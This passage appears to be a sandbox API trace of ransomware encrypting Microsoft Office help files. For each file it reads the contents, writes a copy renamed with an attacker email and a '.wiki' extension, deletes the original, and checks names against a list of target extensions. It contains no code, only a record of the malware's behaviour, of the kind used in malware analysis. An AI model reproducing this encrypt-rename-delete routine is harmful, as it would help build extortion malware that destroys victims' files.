files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0047.975] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0047.975] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.975] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.975] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0047.975] GetLastError () returned 0x0 [0047.975] ReadFile (in: hFile=0x1e8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x9339, lpOverlapped=0x0) returned 1 [0047.978] WriteFile (in: hFile=0x19c, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x9340, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0x9340, lpOverlapped=0x0) returned 1 [0047.979] ReadFile (in: hFile=0x1e8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.979] WriteFile (in: hFile=0x19c, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0047.979] SetEndOfFile (hFile=0x19c) returned 1 [0047.979] CloseHandle (hObject=0x19c) returned 1 [0047.980] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.980] SetEndOfFile (hFile=0x1e8) returned 1 [0047.981] CloseHandle (hObject=0x1e8) returned 1 [0047.981] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0047.981] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm")) returned 1 [0047.982] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0047.982] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0047.982] lstrlenW (lpString=".doc") returned 4 [0047.982] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0047.982] lstrlenW (lpString=".docx") returned 5 [0047.982] lstrcmpiW (lpString1=".docx", lpString2="G.CHM") returned -1 [0047.982] lstrlenW (lpString=".pdf") returned 4 [0047.982] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0047.982] lstrlenW (lpString=".xls") returned 4 [0047.982] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0047.982] lstrlenW (lpString=".xlsx") returned 5 [0047.982] lstrcmpiW (lpString1=".xlsx", lpString2="G.CHM") returned -1 [0047.982] lstrlenW (lpString=".ppt") returned 4 [0047.982] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0047.982] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0047.982] lstrlenW (lpString=".zip") returned 4 [0047.982] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0047.982] lstrlenW (lpString=".rar") returned 4 [0047.982] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0047.982] lstrlenW (lpString=".bz2") returned 4 [0047.982] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0047.982] lstrlenW (lpString=".7z") returned 3 [0047.982] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0047.982] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0047.982] lstrlenW (lpString=".dbf") returned 4 [0047.982] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0047.982] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0047.982] lstrlenW (lpString=".1cd") returned 4 [0047.982] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0047.982] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0047.982] lstrlenW (lpString=".jpg") returned 4 [0047.982] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0047.982] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0047.982] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0047.982] lstrlenW (lpString=".doc") returned 4 [0047.982] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0047.983] lstrlenW (lpString=".docx") returned 5 [0047.983] lstrcmpiW (lpString1=".docx", lpString2="G.CHM") returned -1 [0047.983] lstrlenW (lpString=".pdf") returned 4 [0047.983] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0047.983] lstrlenW (lpString=".xls") returned 4 [0047.983] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0047.983] lstrlenW (lpString=".xlsx") returned 5 [0047.983] lstrcmpiW (lpString1=".xlsx", lpString2="G.CHM") returned -1 [0047.983] lstrlenW (lpString=".ppt") returned 4 [0047.983] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0047.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0047.983] lstrlenW (lpString=".zip") returned 4 [0047.983] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0047.983] lstrlenW (lpString=".rar") returned 4 [0047.983] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0047.983] lstrlenW (lpString=".bz2") returned 4 [0047.983] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0047.983] lstrlenW (lpString=".7z") returned 3 [0047.983] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0047.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0047.983] lstrlenW (lpString=".dbf") returned 4 [0047.983] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0047.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0047.983] lstrlenW (lpString=".1cd") returned 4 [0047.983] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0047.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0047.983] lstrlenW (lpString=".jpg") returned 4 [0047.983] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0047.983] lstrcmpiW (lpString1=".CHM", lpString2=".wiki") returned -1 [0047.983] lstrlenW (lpString="PSS10O.CHM") returned 10 [0047.983] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0047.984] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=26929) returned 1 [0047.984] CloseHandle (hObject=0x1e8) returned 1 [0047.984] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm")) returned 0x20 [0047.984] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0047.984] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0047.984] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.984] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.984] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0047.984] GetLastError () returned 0x0 [0047.984] ReadFile (in: hFile=0x1e8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x6931, lpOverlapped=0x0) returned 1 [0047.986] WriteFile (in: hFile=0x19c, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x6940, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0x6940, lpOverlapped=0x0) returned 1 [0047.988] ReadFile (in: hFile=0x1e8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.988] WriteFile (in: hFile=0x19c, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0047.988] SetEndOfFile (hFile=0x19c) returned 1 [0047.988] CloseHandle (hObject=0x19c) returned 1 [0047.989] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.989] SetEndOfFile (hFile=0x1e8) returned 1 [0047.990] CloseHandle (hObject=0x1e8) returned 1 [0047.990] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0047.990] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm")) returned 1 [0047.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0047.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0047.990] lstrlenW (lpString=".doc") returned 4 [0047.991] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0047.991] lstrlenW (lpString=".docx") returned 5 [0047.991] lstrcmpiW (lpString1=".docx", lpString2="O.CHM") returned -1 [0047.991] lstrlenW (lpString=".pdf") returned 4 [0047.991] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0047.991] lstrlenW (lpString=".xls") returned 4 [0047.991] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0047.991] lstrlenW (lpString=".xlsx") returned 5 [0047.991] lstrcmpiW (lpString1=".xlsx", lpString2="O.CHM") returned -1 [0047.991] lstrlenW (lpString=".ppt") returned 4 [0047.991] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0047.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0047.991] lstrlenW (lpString=".zip") returned 4 [0047.991] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0047.991] lstrlenW (lpString=".rar") returned 4 [0047.991] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0047.991] lstrlenW (lpString=".bz2") returned 4 [0047.991] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0047.991] lstrlenW (lpString=".7z") returned 3 [0047.991] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0047.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0047.991] lstrlenW (lpString=".dbf") returned 4 [0047.991] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0047.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0047.991] lstrlenW (lpString=".1cd") returned 4 [0047.991] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0047.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0047.991] lstrlenW (lpString=".jpg") returned 4 [0047.991] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0047.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0047.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0047.991] lstrlenW (lpString=".doc") returned 4 [0047.991] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0047.991] lstrlenW (lpString=".docx") returned 5 [0047.991] lstrcmpiW (lpString1=".docx", lpString2="O.CHM") returned -1 [0047.992] lstrlenW (lpString=".pdf") returned 4 [0047.992] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0047.992] lstrlenW (lpString=".xls") returned 4 [0047.992] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0047.992] lstrlenW (lpString=".xlsx") returned 5 [0047.992] lstrcmpiW (lpString1=".xlsx", lpString2="O.CHM") returned -1 [0047.992] lstrlenW (lpString=".ppt") returned 4 [0047.992] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0047.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0047.992] lstrlenW (lpString=".zip") returned 4 [0047.992] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0047.992] lstrlenW (lpString=".rar") returned 4 [0047.992] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0047.992] lstrlenW (lpString=".bz2") returned 4 [0047.992] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0047.992] lstrlenW (lpString=".7z") returned 3 [0047.992] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0047.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0047.992] lstrlenW (lpString=".dbf") returned 4 [0047.992] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0047.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0047.992] lstrlenW (lpString=".1cd") returned 4 [0047.992] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0047.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0047.992] lstrlenW (lpString=".jpg") returned 4 [0047.992] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0047.992] lstrcmpiW (lpString1=".CHM", lpString2=".wiki") returned -1 [0047.992] lstrlenW (lpString="PSS10R.CHM") returned 10 [0047.992] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0047.993] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=27195) returned 1 [0047.994] CloseHandle (hObject=0x1e8) returned 1 [0047.994] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm")) returned 0x20 [0047.994] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0047.994] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0047.994] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.994] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.994] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0047.994] GetLastError () returned 0x0 [0047.994] ReadFile (in: hFile=0x1e8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x6a3b, lpOverlapped=0x0) returned 1 [0048.440] WriteFile (in: hFile=0x19c, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x6a40, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0x6a40, lpOverlapped=0x0) returned 1 [0048.441] ReadFile (in: hFile=0x1e8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.441] WriteFile (in: hFile=0x19c, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0048.441] SetEndOfFile (hFile=0x19c) returned 1 [0048.441] CloseHandle (hObject=0x19c) returned 1 [0048.442] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.442] SetEndOfFile (hFile=0x1e8) returned 1 [0048.443] CloseHandle (hObject=0x1e8) returned 1 [0048.443] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0048.443] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm")) returned 1 [0048.444] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0048.444] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0048.444] lstrlenW (lpString=".doc") returned 4 [0048.444] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0048.444] lstrlenW (lpString=".docx") returned 5 [0048.444] lstrcmpiW (lpString1=".docx", lpString2="R.CHM") returned -1 [0048.444] lstrlenW (lpString=".pdf") returned 4 [0048.444] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0048.444] lstrlenW (lpString=".xls") returned 4 [0048.444] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0048.444] lstrlenW (lpString=".xlsx") returned 5 [0048.444] lstrcmpiW (lpString1=".xlsx", lpString2="R.CHM") returned -1 [0048.444] lstrlenW (lpString=".ppt") returned 4 [0048.444] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0048.444] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0048.444] lstrlenW (lpString=".zip") returned 4 [0048.444] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0048.444] lstrlenW (lpString=".rar") returned 4 [0048.444] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0048.444] lstrlenW (lpString=".bz2") returned 4 [0048.444] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0048.444] lstrlenW (lpString=".7z") returned 3 [0048.444] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0048.444] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0048.444] lstrlenW (lpString=".dbf") returned 4 [0048.444] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0048.444] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0048.444] lstrlenW (lpString=".1cd") returned 4 [0048.444] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0048.444] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0048.444] lstrlenW (lpString=".jpg") returned 4 [0048.444] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0048.445] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0048.445] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0048.445] lstrlenW (lpString=".doc") returned 4 [0048.445] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0048.445] lstrlenW (lpString=".docx") returned 5 [0048.445] lstrcmpiW (lpString1=".docx", lpString2="R.CHM") returned -1 [0048.445] lstrlenW (lpString=".pdf") returned 4 [0048.445] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0048.445] lstrlenW (lpString=".xls") returned 4 [0048.445] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0048.445] lstrlenW (lpString=".xlsx") returned 5 [0048.445] lstrcmpiW (lpString1=".xlsx", lpString2="R.CHM") returned -1 [0048.445] lstrlenW (lpString=".ppt") returned 4 [0048.445] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0048.445] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0048.445] lstrlenW (lpString=".zip") returned 4 [0048.445] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0048.445] lstrlenW (lpString=".rar") returned 4 [0048.445] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0048.445] lstrlenW (lpString=".bz2") returned 4 [0048.445] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0048.445] lstrlenW (lpString=".7z") returned 3 [0048.445] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0048.445] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0048.445] lstrlenW (lpString=".dbf") returned 4 [0048.445] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0048.445] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0048.445] lstrlenW (lpString=".1cd") returned 4 [0048.445] 